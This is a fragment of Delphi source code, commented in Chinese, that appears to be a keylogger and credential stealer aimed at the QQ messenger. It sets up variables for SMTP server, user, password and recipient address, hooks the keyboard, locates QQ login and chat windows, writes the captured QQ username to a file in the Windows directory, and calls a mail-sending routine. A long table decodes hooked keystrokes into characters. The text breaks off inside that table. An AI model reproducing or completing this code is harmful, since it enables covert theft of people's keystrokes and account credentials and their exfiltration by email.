感谢 sforever 提供帮助
hookkey: string;
hhook: integer;
creeper,creeper1:textfile;
ahwnd,comboboxh:thandle; //句柄
qqformid:hwnd;
user:array[0..254] of char;
sendbody:string;
psmtp,puser,ppass,pgetmail,ptomail,subject,mailtext:string;
implementation
//找qq聊天窗口
function fpopoid(ahwnd:hwnd;w:integer):boolean;stdcall;
var wintext:pchar;
begin
result:=true;
getmem(wintext,100);
getwindowtext(ahwnd,wintext,100);
if pos('与',wintext)>0 then
begin
trysendmail;
sleep(100);
unhookwindowshookex(hhook);
hhook := 0;
application.terminate;
end;
end;
function fmsgidedit(ahwnd:hwnd;w:integer):boolean;stdcall;
var
f:textfile;
begin
result:=true;
comboboxh:=findwindowex(qqformid,0,'combobox',nil);
sendmessage(comboboxh,wm_gettext,254,integer(@user));
if trim(user)<>'' then
begin
assignfile(f,getwindir+'name.txt');
rewrite(f);
write(f,'qq 用户名:'+user);
closefile(f);
exit;
end;
end;
function fqqid(ahwnd:hwnd;w:integer):boolean;stdcall;
var wintext:pchar;
begin
getmem(wintext,100);
getclassname(ahwnd,wintext,100);
if wintext='#32770' then
begin
qqformid:=ahwnd; //得到qq窗口句柄
if qqformid<>0 then
begin
result:=true;
enumchildwindows(qqformid,@fmsgidedit,0); // 暂且注销
end;
end;
end;
function keyhookresult(lp: integer; wp: integer): pchar;
begin
result := '[print screen]';
case lp of
10688: result := '`';
561: result := '1';
818: result := '2';
1075: result := '3';
1332: result := '4';
1589: result := '5';
1846: result := '6';
2103: result := '7';
2360: result := '8';
2617: result := '9';
2864: result := '0';
3261: result := '-';
3515: result := '=';
4177: result := 'q';
4439: result := 'w';
4677: result := 'e';
4946: result := 'r';
5204: result := 't';
5465: result := 'y';
5717: result := 'u';
5961: result := 'i';
6223: result := 'o';
6480: result := 'p';
6875: result := '[';
7133: result := ']';
11228: result := '\';
7745: result := 'a';
8019: result := 's';
8260: result := 'd';
8518: result := 'f';
8775: result := 'g';
9032: result := 'h';
9290: result := 'j';
9547: result := 'k';
9804: result := 'l';
10170: result := ';';
10462: result := '''';
11354: result := 'z';
11608: result := 'x';
11843: result := 'c';
12118: result := 'v';
12354: result := 'b';
12622: result := 'n';
12877: result := 'm';
13244: result := ',';
13502: result := '.';
13759: result := '/';